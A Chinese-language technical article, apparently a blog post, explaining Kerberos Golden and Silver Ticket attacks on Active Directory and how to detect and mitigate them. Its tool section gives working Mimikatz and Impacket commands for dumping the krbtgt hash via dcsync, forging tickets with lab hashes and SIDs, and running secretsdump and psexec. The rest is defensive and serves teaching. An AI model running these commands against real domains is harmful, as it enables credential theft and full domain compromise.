讲在前面：

笔者本文对Kerberos协议不会进行详细分析，站在读者已有Kerberos协议简单的基础上结合互联网已有的文章，对上述两个漏洞产生的原理、利用方式、防御方式进行介绍。

区别之处：

笔者翻阅了国内外尽可能多的关于黄金票据和白银票据的文章，将其中对于两者的区别之处的解释经过笔者删改后呈现如下，也就是说如下的区别，的的确确是全面的关于两者的区别。

区别点	黄金票据	白银票据
访问权限	获取任何Kerberos服务权限	访问指定的服务
加密方式	由krbtgt的Hash加密	由服务账号(通常为计算机帐户)Hash加密
认证流程	需要经过域控	不需要经过域控
生成的票据	TGT票据	TGS票据

产生漏洞的原理：

笔者绘制了如下三张简单的示意图并配以短小精悍的文字来辅助读者再次理解Kerberos协议和黄金票据、白银票据的产生原理。

Kerberos协议流程

注意：安装域控制器时会默认将KDC服务装在域控制器上，所以一般情况下域控制器就是KDC服务器。

黄金票据产生原因

利用方式：通过某些漏洞（例如Zerologon、NTLM降级）获取到了Krbtgt帐户的相关信息（NTLM Hash、SID、Sha256 Hash等信息），而后使用krbgtgt账户创建黄金票据以作为权限维持，在没有修改krbtgt帐户密码的前提下，再次进入网络内依旧拥有会拥有管理员权限。访问任何使用Kerberbos进行认证的服务，因为缺少第一二步，但是后面的步骤还是通过KDC的验证了(所以此处我们也将区别之处的两点串起来了)。

原因：因为TGT票据是经过Krbtgt帐户的相关信息对指定帐户进行加密后得出的，所以拿到krbtgt帐户的相关信息后我们就可以自行制作TGT票据。

如下图所示，黄金票据的利用在整个Kerberos正常的认证过程中是缺少第一二个环节的（见下图左上角红框描述），其绕过了DC在创建TGT之前执行的常规验证。

注意：使用Krbtgt的NTML HASH创建的票据，加密方式为RC4(该加密方式为Kerberos中的加密降级，这也是检测的重点特征)，该加密方式是可以修改的。

白银票据产生原因

利用方式：通过某些方式获取到了服务帐户或机器帐户的相关信息（NTLM Hash、SID、Sha256 Hash等信息），而后使用服务帐户或机器帐户创建白银票据以访问特定的服务，从而扩大成果。

原因：TGS票据是KDC根据得到TGT票据内的请求使用服务帐户(一般是机器帐户，这里提到的机器帐户或服务帐户均按实际情况分类，一般管理员图省事使用服务所在机器的帐户运行服务亦或者管理员会单独建立一个服务帐户，例如单独创建启动Exchange、Mssql服务的服务帐户)进行加密的票据，得到该票据后客户端就可以使用TGS票据向指定服务请求访问。如下图所示，白银票据的利用在整个Kerberos正常的认证过程中是缺少第一二三四个环节的（见下图左上角红框描述）

注意：这里需要注意应用服务器和KDC服务器之间的交互（下图应用服务器和KDC服务器之间标红的两个箭头）

这里着重讲我们需要注意PAC这个知识点。掌握其知识点也是我们理解白银票据能够利用成功的关键。

1、大多数服务未设置验证PAC（验证流程：正常流程，服务解密TGS票据后向应KDC请求该PAC是否有权限访问），那么在不验证PAC的前提，我们就可以伪造一个TGS票据从而骗过特定应用服务器访问特定的服务。

小结：到此我们对于黄金票据和白银票据的漏洞产生的原因形成了一个相对清晰的概念和有了简单的理解，那么我们接下来需要做的工作就是在实际工作中其掌握利用方式和利用的经验。

部分工具利用

我们这里将两者利用的方式也举例对比下：

Mimikatz

• 黄金票据

#使用mimikatz的dcsync功能获取krbtgt账户的hash及详细信息
lsadump::dcsync /domain:testdomain.com /user:krbtgt
#直接注入1:(SID去掉后面的RID)
利用kbrtgt的hash：
kerberos::golden /admin:Administrator /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:493a8296a6e2c3463e2bac8bb2ba87df /ptt
#直接注入2(更换为aes256hash):
kerberos::golden /domain:testdomain.com /sid:S-1-5-21-3160116630-2225903390-3717321821 /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ptt
#生成票据文件，而后导入：
##生成文件：
mimikatz:kerberos::golden /domain:testdomain.com /sid: /aes256:6b8d2300af08cffbc9ebab7e1cb225ee4d54e709cf088a583ccb1aecf3fdac67 /user:Administrator /ticket:Administrator.kirbi
##导入票据：
kerberos::ptt Administrator.kirbi /use

获取krbtgt相关信息：

票据实验示例：

Klist再次查看机器上的票据：

• 白银票据

**白银票据需要的参数：
/target –目标服务器的FQDN **FQDN：(Fully Qualified Domain Name)全限定域名：同时带有主机名和域名的名称。（通过符号“.”）
/service –运行在目标服务器上的kerberos服务，该服务主体名称类型如cifs，http，mssql等
/rc4 –服务的NTLM散列（计算机帐户或用户帐户）
kerberos::golden /domain:testdomain.com /user:qaz /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:cifs /ptt

获取相关信息：

成功访问指定服务器的指定Cifs服务：

成功访问指定服务器的指定ldap服务：

#注入ldap服务的白银票据
kerberos::golden /domain:testdomain.com /user:123 /sid:S-1-5-21-3160116630-2225903390-3717321821 /rc4:3dfcf47e9e4b72bebe1e42e71bf8a01c /target:WIN-6IKRAED2RMI.testdomain.com /service:LDAP /ptt
#利用ldap协议进行dcsync
lsadump::dcsync /dc:WIN-6IKRAED2RMI.testdomain.com /domain:testdomain.com /user:krbtgt

未注入前：

注入后：

利用建议：实际工作中，勿需将实际环境中的机器的票据清除，并且获取相关信息可以多种方式，勿需局限于mimikatz获取。

Impacket

• 黄金票据

ticketer.py -nthash 493a8296a6e2c3463e2bac8bb2ba87df -domain-sid S-1-5-21-3160116630-2225903390-3717321821 -domain testdomain.com Administrator #生成票据
export KRB5CCNAME='/usr/share/doc/python-impacket/examples/Administrator.ccache' #将票据加入环境变量
secretsdump.py -k WIN-6IKRAED2RMI.testdomain.com -just-dc-ntlm -just-dc-user krbtgt #利用票据

添加临时环境变量，并进一步利用

未添加环境变量，则利用失败

• 白银票据

ticketer.py -nthash [serviceuser hash or Machine account hash] -domain-sid [serviceuser sid or Machine account sid] -domain adsec.local -spn CIFS/DESKTOP-01.testdomain.com random_user #生成票据
export KRB5CCNAME='/path/to/random_user.ccache' #将票据加入环境变量
psexec.py -k DESKTOP-01.domain.com #利用票据

笔者尝试操作，但是利用失败。GitHub上发现有此问题的issue，但是其中并没有人提出有效的解决办法。

防御建议

我们经过前面的了解，基本知道了两种票据都是缺少了完整的Kerberos认证流程，同时我们注意到漏洞创造的票据加密方式不同，票据的用户不正确，票据的PAC数据不正确、票据的授权时间不正确。基于上述几点，我们再根据日志或流量进行分析编写规则来防御此类攻击。

日志上检测

部分文章指出我们可以通过4769、4768日志来对比，但是笔者认为考虑到日志实际处理起来相比流量的处理量大，不切实际，同时不符合数量级较多的域环境，单纯在日志上进行检测显得很渺茫。这里仅推荐文章供参考。

笔者这里举例ATA提到的关于异常的Kerberos票据会出现的几个问题

• 可疑黄金票证使用（帐户不存在）
• 可疑黄金票证使用（票证异常）

• 可疑黄金票证使用（时间异常)
• 可疑黄金票证使用（票证异常使用 RBCD）

• 可疑黄金票证使用（伪造的授权数据)
• 可疑黄金票证使用（加密降级）

参考文章：

• Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory
• A Golden SAML Journey: SolarWinds Continued

流量上检测

我们先来看正常登录后的Kerberos流量包，很显然，Kerberos认证流程的第一、二、三、四步都正常

我们来看黄金票据的认证流程，很明显缺少了认证流程的第一、二步。

我们来看白银票据的流程，没有经过KDC的认证，所以没有krb5的流量包。注意：(此处同开头讲到的区别之处的认证区别串联起来了)

我们获取了两种票据的流量数据后来进行分析，首先查看加密方式

我们查看流量包中tgs-req -> req-body -> enc-authorization-data -> etype字段。

etype: eTYPE-ARCFOUR-HMAC-MD5 (23)加密类型为：rc4-hmac (deprecated)，而正常的加密类型应当为AES加密而不是RC4加密，正常的加密类型应当为：

eTYPE-AES256-CTS-HMAC-SHA1-96 (18)。所以这个区别可以作为我们的关键检测数据之一。

• RC4加密类型的票据

• AES加密的票据，我们查看数据包PA-DATA -> PA-TGS-REQ -> AP-REQ -> ticket -> enc-part -> etype字段。

最小权限原则

1、限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机

2.、禁用Krbtgt帐户，并保存当前的密码以及以前的密码

3、建议定期更改Krbtgt密码，Krbtgt帐户需要修改两次

4、一旦攻击者获得了Krbtgt帐号密码哈希的访问权限，就可以随意创建黄金票据

服务端开启PAC验证

ValidateKdcPacSignature DWORD	状态
0	关闭
1	开启

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters

注意：更改此值，则必须重新启动 Windows Server

笔者测试该注册表是否生效时发现无论是否启用 PAC 验证，笔者都能够针对目标系统利用Silver 和Golden票据。

• MSDN-了解 Microsoft Kerberos PAC 验证

上述MSDN链接文章中对于PAC的解释有这么一段话，解释了PAC 验证什么时候起作用会有几个例外情况：

当服务没有 TCB 权限并且它不是服务控制管理器 (SCM) 服务时，Windows 操作系统将 PAC 验证消息发送到 DC 的 NetLogon 服务。当 LSA 客户端（应用服务器）不在本地系统、网络服务或本地服务的上下文中运行时，本地安全机构子系统服务 (LSASS) 进程将向 DC 发送 PAC 验证消息；或者它没有 SeTCB 特权（作为操作系统的一部分）

总结

透过本文，能够让部分读者基本明白这两款票据的区别之处，以及重温Kerberbos协议的流程，同时激发读者对于Kerberos深入研究的兴趣，本文提到了包括PAC在内的如此字眼，都需要读者继续深入研究Kerberbos协议的魅力之处从而融会贯通的将与Kerberos协议有关的所有漏洞贯穿起来理解，这样能够更好的明白漏洞的来龙去脉。

笔者推荐大家阅读以下文章：

• Windows内网协议学习Kerberos篇之PAC
• 内网渗透之kerberos协议分析